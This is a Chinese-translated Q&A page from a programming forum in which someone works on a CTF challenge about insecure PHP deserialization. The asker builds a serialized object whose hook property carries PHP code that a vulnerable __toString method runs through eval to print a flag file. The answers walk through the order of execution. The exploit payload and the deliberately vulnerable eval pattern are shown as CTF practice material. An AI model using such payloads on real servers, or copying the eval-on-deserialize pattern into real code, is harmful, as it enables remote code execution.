【问题标题】:Why is the code still being executed after "exit()"?为什么“exit()”之后代码还在执行?
【发布时间】:2019-10-03 01:25:44
【问题描述】:

我正在做一个关于 PHP 中不安全的反序列化的 CTF 挑战。目标是通过将代码注入反序列化来打印标志以执行print_flag() 函数。我怀疑网络服务器只打印脚本回显的最后一行,这会覆盖标志的输出,即使在调用 exit() 时也是如此。

提供了在网络服务器上运行的部分 php 代码。我已经在我自己的 php 脚本中实现了它,以找出哪些有效,哪些无效。我已经成功地序列化了一个在反序列化时执行代码的对象。通过调用exit(print_flag()); 打印标志,没有任何进一步的错误......至少在我的脚本中。当我将序列化对象发送到网络服务器时,它仍然会打印更多错误。

此外,我尝试从注入的代码中返回一个字符串。这也不行。

function print_flag() {
    print file_get_contents('/var/flag/flag.txt');
}

class Example2
{
    private $hook;

    function __construct() {
        $this->hook = "exit(print_flag());";
    }

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);

代码类似于挑战中显示的代码,但经过修改使其适合我。

我希望代码只返回标志。在我自己的机器上执行脚本时,输出为:

O:8:"Example2":1:{s:14:"Example2 钩子";s:19:"exit(print_flag());";} 这就是旗帜

当我在没有exit() 的情况下调用它时:

PHP 可恢复的致命错误:方法 Example2::__toString() 必须 在第 39 行的 ../phpObjInj.php 中返回一个字符串值"

网络服务器返回:

可捕获的致命错误:方法 Example2::__toString() 必须返回一个 第 79 行 /var/www/index.php 中的字符串值

如何停止打印错误?

【问题讨论】:

    标签: php serialization ctf


    【解决方案1】:

    由于unserialize($flag); 而发生错误。由于unserialize() 的参数应该是一个字符串,它会尝试将Example2 对象转换为一个字符串。您可能打算使用unserialize($serialized);

    但更一般地说,您应该确保__toString() 方法返回一个字符串。如果你不在乎它是什么,你可以返回一个空字符串。

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
        return "";
    }
    

    当你有exit() 在钩子中时不会发生错误,因为脚本在__toString() 方法返回之前退出,所以它从不检查返回值。

    exit() 之后没有执行任何操作。以下是操作顺序:

    • new Example2 - 创建新对象
    • serialize($flag) - 创建一个代表对象的字符串
    • print "$serialized\r\n"; - 打印上面的字符串

    以上步骤都不需要调用__toString(),所以还没有执行钩子。

    • deserialize($flag) - 这需要将 $flag 转换为字符串,以便可以将其解析为序列化数据。
      • 致电$flag->__toString()
      • eval($this->hook)
      • 调用print_flag(),它会打印标志
      • 调用exit(),终止脚本

    所以您看到打印了序列化对象,然后打印了标志,然后没有其他内容,因为 exit()

    为了演示漏洞,您应该使用正确的参数调用unserialize()

    $deserialized = unserialize($seralized);
    echo $deserialized;
    

    echo 语句将导致调用__toString() 方法。这将退出脚本,并且您不会收到错误消息。

    【讨论】:

    • 不幸的是,我无法控制网站上的脚本。 __toString() 显然就像服务器脚本中的那样。这就是为什么我试图在脚本继续之前退出脚本。序列化的对象是我到服务器的有效负载。我可以操纵对象的hook 属性以远程执行代码。您是否知道exit() 调用不停止服务器脚本的原因?显然,析构函数在句号之前运行。
    • 我不明白这个问题。它确实退出脚本。
    • 这就是为什么除非您删除 exit,否则您看不到错误消息。
    • 反序列化时没有执行任何代码,因为没有反序列化序列化数据。
    • 它退出我机器上的脚本。但我必须向服务器发送一个有效负载(序列化对象),才能获得标志。 Description of the vulnerability
    【解决方案2】:

    删除构造函数中的双引号,function __construct() 而不是

    function __construct() {
        $this->hook = "exit(print_flag());";
    }
    

    使用

    function __construct() {
        $this->hook = exit(print_flag());
    }
    

    【讨论】:

    • 是的,我的也可以。但它必须在我将有效负载发送到的服务器上工作。它需要是一个字符串才能被序列化。可以通过将代码(在我的例子中是钩子)注入反序列化器来利用该漏洞。当对新对象调用 toString() 时,注入的代码就会被执行。 [owasp.org/index.php/PHP_Object_Injection](See 更多)
    猜你喜欢
    • 1970-01-01
    • 2013-04-17
    • 1970-01-01
    • 1970-01-01
    • 2016-11-18
    • 2016-09-15
    • 2020-07-02
    • 2021-11-21
    • 2017-10-21
    相关资源
    最近更新 更多